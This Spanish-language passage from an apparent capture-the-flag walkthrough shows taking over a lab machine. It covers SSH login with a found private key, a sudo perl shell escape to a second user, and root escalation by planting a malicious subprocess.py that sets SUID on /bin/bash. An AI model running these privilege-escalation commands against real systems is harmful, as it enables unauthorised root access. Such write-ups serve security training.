Vemos que con el usuario vaxei si va, por lo que nos conectaremos con esa id_rsa de la siguiente forma.
SSH
nano id_rsa
#Dentro del nano
<CONTENIDO_DEL_ID_RSA>
Lo guardamos y establecemos los permisos correspondientes al mismo.
chmod 600 id_rsa
ssh -i id_rsa vaxei@<IP>
Y echo esto veremos que estamos dentro con dicho usuario.
Escalate user luisillo
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for vaxei on 8a42188a52cb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User vaxei may run the following commands on 8a42188a52cb:
(luisillo) NOPASSWD: /usr/bin/perl
Vemos que podemos ejecutar el binario perl como el usuario luisillo por lo que haremos lo siguiente:
sudo -u luisillo perl -e 'exec "/bin/bash";'
Y echo esto veremos que somo dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for luisillo on 8a42188a52cb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User luisillo may run the following commands on 8a42188a52cb:
(ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py
Vemos que podemos ejecutar el binario python3 junto con el script paw.py como el usuario root, por lo que tendremos que hacer lo siguiente:
Si leemos el script vemos lo siguiente:
import subprocess
import os
import sys
import time
# F
def dummy_function(data):
result = ""
for char in data:
result += char.upper() if char.islower() else char.lower()
return result
# Código para ejecutar el script
os.system("echo Ojo Aqui")
# Simulación de procesamiento de datos
def data_processing():
data = "This is some dummy data that needs to be processed."
processed_data = dummy_function(data)
print(f"Processed data: {processed_data}")
# Simulación de un cálculo inútil
def perform_useless_calculation():
result = 0
for i in range(1000000):
result += i
print(f"Useless calculation result: {result}")
def run_command():
subprocess.run(['echo Hello!'], check=True)
def main():
# Llamadas a funciones que no afectan el resultado final
data_processing()
perform_useless_calculation()
# Comando real que se ejecuta
run_command()
if __name__ == "__main__":
main()
Si lo ejecutamos veremos el siguiente error:
sudo python3 /opt/paw.py
Info:
Ojo Aqui
Processed data: tHIS IS SOME DUMMY DATA THAT NEEDS TO BE PROCESSED.
Useless calculation result: 499999500000
Traceback (most recent call last):
File "/opt/paw.py", line 41, in <module>
main()
File "/opt/paw.py", line 38, in main
run_command()
File "/opt/paw.py", line 30, in run_command
subprocess.run(['echo Hello!'], check=True)
File "/usr/lib/python3.12/subprocess.py", line 548, in run
with Popen(*popenargs, **kwargs) as process:
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/subprocess.py", line 1026, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File "/usr/lib/python3.12/subprocess.py", line 1955, in _execute_child
raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'echo Hello!'
Veremos que nos esta dando un error en la siguiente ruta:
/usr/lib/python3.12/subprocess.py
Ya que no admite algun caracter en el que esta en el script, en concreto en esta parte de aqui:
Lo que vamos hacer es cambiar el PATH para que pille primero el subprocess.py nuestro malicioso y que no pille el de la ruta /usr/lib/python3.12/subprocess.py ya que no esta utilizando una ruta absoluta en el script a la hora de importar el modulo.
export PATH=/opt:$PATH
Y ahora crearemos el script malicioso:
subprocess.py
import os
os.system('chmod u+s /bin/bash')
Lo guardamos y ejecutamos lo siguiente:
sudo python3 /opt/paw.py
Info:
Ojo Aqui
Processed data: tHIS IS SOME DUMMY DATA THAT NEEDS TO BE PROCESSED.
Useless calculation result: 499999500000
Traceback (most recent call last):
File "/opt/paw.py", line 41, in <module>
main()
File "/opt/paw.py", line 38, in main
run_command()
File "/opt/paw.py", line 30, in run_command
subprocess.run(['echo Hello!'], check=True)
^^^^^^^^^^^^^^
AttributeError: module 'subprocess' has no attribute 'run'
Y si ahora listamos los permisos de la bash veremos lo siguiente:
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Vemos que tiene permisos de SUID por lo que haremos lo siguiente:
bash -p
Y con esto seremos root, por lo que ya habremos terminado la maquina.